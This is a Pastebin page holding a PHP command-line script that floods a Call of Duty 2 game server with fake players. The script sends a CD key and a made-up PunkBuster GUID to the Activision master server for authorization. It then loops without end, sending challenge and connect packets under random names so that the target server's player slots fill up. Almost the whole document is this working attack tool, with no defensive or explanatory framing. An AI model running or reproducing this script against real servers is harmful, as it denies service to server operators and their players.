Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (count($_SERVER['argv']) != 4) {
- die ("Error: Must run tool like: file.php server port cdkey\n");
- }
- //variables
- $masterserver = "cod2master.activision.com";
- $masterserverport = "20700";
- $server = $argv[1];
- $port = $argv[2];
- $cdkey = $argv[3];
- $cdkeypart = substr($cdkey, 0, 16);
- $pbguid = "123456789abcdef1234567890abcdefa";
- $masterstring = "\xff\xff\xff\xffgetKeyAuthorize 0 " . $cdkeypart . " PB " . $pbguid;
- $serverstring = "\xff\xff\xff\xff" . 'getchallenge 0 "' . $pbguid . '"';
- //Send master server the key once. If needed again, it will be sent again automatically
- $udpmaster = fsockopen("udp://" . $masterserver, $masterserverport);
- fwrite($udpmaster, $masterstring);
- //start sending fake players, infinite loop
- while(TRUE){
- $fakeplayer = random_letters();
- $udpfirst = fsockopen("udp://" . $server, $port);
- fwrite($udpfirst, $serverstring);
- stream_set_timeout($udpfirst, 1);
- $udpfirstresponse = ''.fread($udpfirst, 1400);
- $udpfirstinfo = stream_get_meta_data($udpfirst);
- if ($udpfirstinfo['timed_out']) {
- echo("T");
- continue;
- }
- if(substr($udpfirstresponse, 0, 21) != "\xff\xff\xff\xffchallengeResponse"){
- if(md5($udpfirstresponse) == "d41d8cd98f00b204e9800998ecf8427e"){
- echo("?");
- continue;
- }
- if($udpfirstresponse == "\xff\xff\xff\xfferror\x0aEXE_ERR_CDKEY_IN_USE"){
- echo("I");
- continue;
- }
- if($udpfirstresponse == "\xff\xff\xff\xffneedcdkey"){
- fwrite($udpmaster, $masterstring);
- echo ("N");
- continue;
- }
- echo "\nUnhandled reply after requesting challenge: " . $udpfirstresponse . "\n";
- continue;
- }
- $challenge = substr($udpfirstresponse, 22, 20);
- $connectstring = "";
- $connectstring = ("\xff\xff\xff\xff" . 'connect "\\cg_predictItems\\1\\cl_anonymous\\0\\cl_punkbuster\\1\\cl_voice\\1\\cl_wwwDownload\\1\\rate\\25000\\snaps\\20\\name\\' . $fakeplayer . '\\protocol\\118\\challenge\\' . $challenge . '\\qport\\' . rand(10000, 65534) . '"');
- fwrite($udpfirst, $connectstring);
- $finalresponse = ''.fread($udpfirst, 1400);
- if ($finalresponse != "\xff\xff\xff\xffconnectResponse"){
- if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_SERVERISFULL"){
- echo("F");
- continue;
- }
- if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_BAD_CHALLENGE"){
- echo("C");
- continue;
- }
- if(md5($finalresponse) == "d41d8cd98f00b204e9800998ecf8427e"){
- echo("?");
- continue;
- }
- echo ("\nUnhandled reply after sending the connect string: " . $finalresponse . "\n");
- continue;
- }
- echo ".";
- }
- function random_letters($numofletters=8){
- $v="";
- for($i=0;$i<$numofletters;$i++) $v.=chr(rand(65,90));
- return $v;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement